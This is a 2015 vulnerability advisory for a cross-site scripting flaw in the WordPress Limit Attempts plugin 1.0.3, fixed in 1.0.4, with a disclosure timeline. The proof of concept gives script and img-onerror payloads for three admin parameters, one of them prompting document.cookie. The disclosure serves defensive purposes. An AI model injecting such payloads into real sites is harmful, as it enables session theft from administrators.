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WordPress Limit Attempts 1.0.3 Cross Site Scripting

WordPress Limit Attempts 1.0.3 Cross Site Scripting
Posted Dec 17, 2015
Authored by Madhu Akula

WordPress Limit Attempts plugin version 1.0.3 suffers from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | 03b2bafd7228549f08973da7aa302934

WordPress Limit Attempts 1.0.3 Cross Site Scripting

Change Mirror Download
Plugin Name : Limit Attempts

Effected Version : 1.0.3 (and most probably lower version's if any)

Vulnerability : A3-Cross-Site Scripting (XSS)

Identified by : Madhu Akula



Technical Details

Minimum Level of Access Required : Administrator

PoC - (Proof of Concept) :

The following fields put the payload as below

http://localhost/wp-admin/admin.php?page=limit-attempts.php&tab=blacklist

lmtttmpts_add_to_blacklist = “><script>alert(1)</script>

http://localhost/wp-admin/admin.php?page=limit-attempts.php&tab=whitelist

lmtttmpts_add_to_whitelist = “><script>alert(1)</script>

http://localhost/wp-admin/admin.php?page=limit-attempts.php&tab=go_pro

bws_license_key = “><img src=x onerror=prompt(document.cookie);>


Vulnerable Parameter : lmtttmpts_add_to_blacklist, lmtttmpts_add_to_whitelist, bws_license_key


Type of XSS : Reflected / Stored

Fixed in : 1.0.4

http://wordpress.org/plugins/limit-attempts/changelog/

Disclosure Timeline

Vendor Contacted : 2014-08-04

Plugin Status : Updated on 2014-08-07

Public Disclosure : October 3, 2015

CVE Number : Not assigned yet

Plugin Description :

Limit Attempts is a plugin developed by BestWebSoft, which was designed to manage the access to user's website. With this plugin, you can limit user's attempts to log in to your website and, consequently, block the user for a certain period of time. Apart from that, Limit Attempts allows users to create and edit black- and whitelists with the aim of controlling the access to the site and its content. Also, with this plugin, users will be able to specify the settings for adding an address to the blacklist, as well as be aware of everything that is going on your website by sending email notifications about blocking. Moreover, this plugin is compatible with htaccess, thus, you can minimize server workload by adding IP address blocking data to htaccess file.

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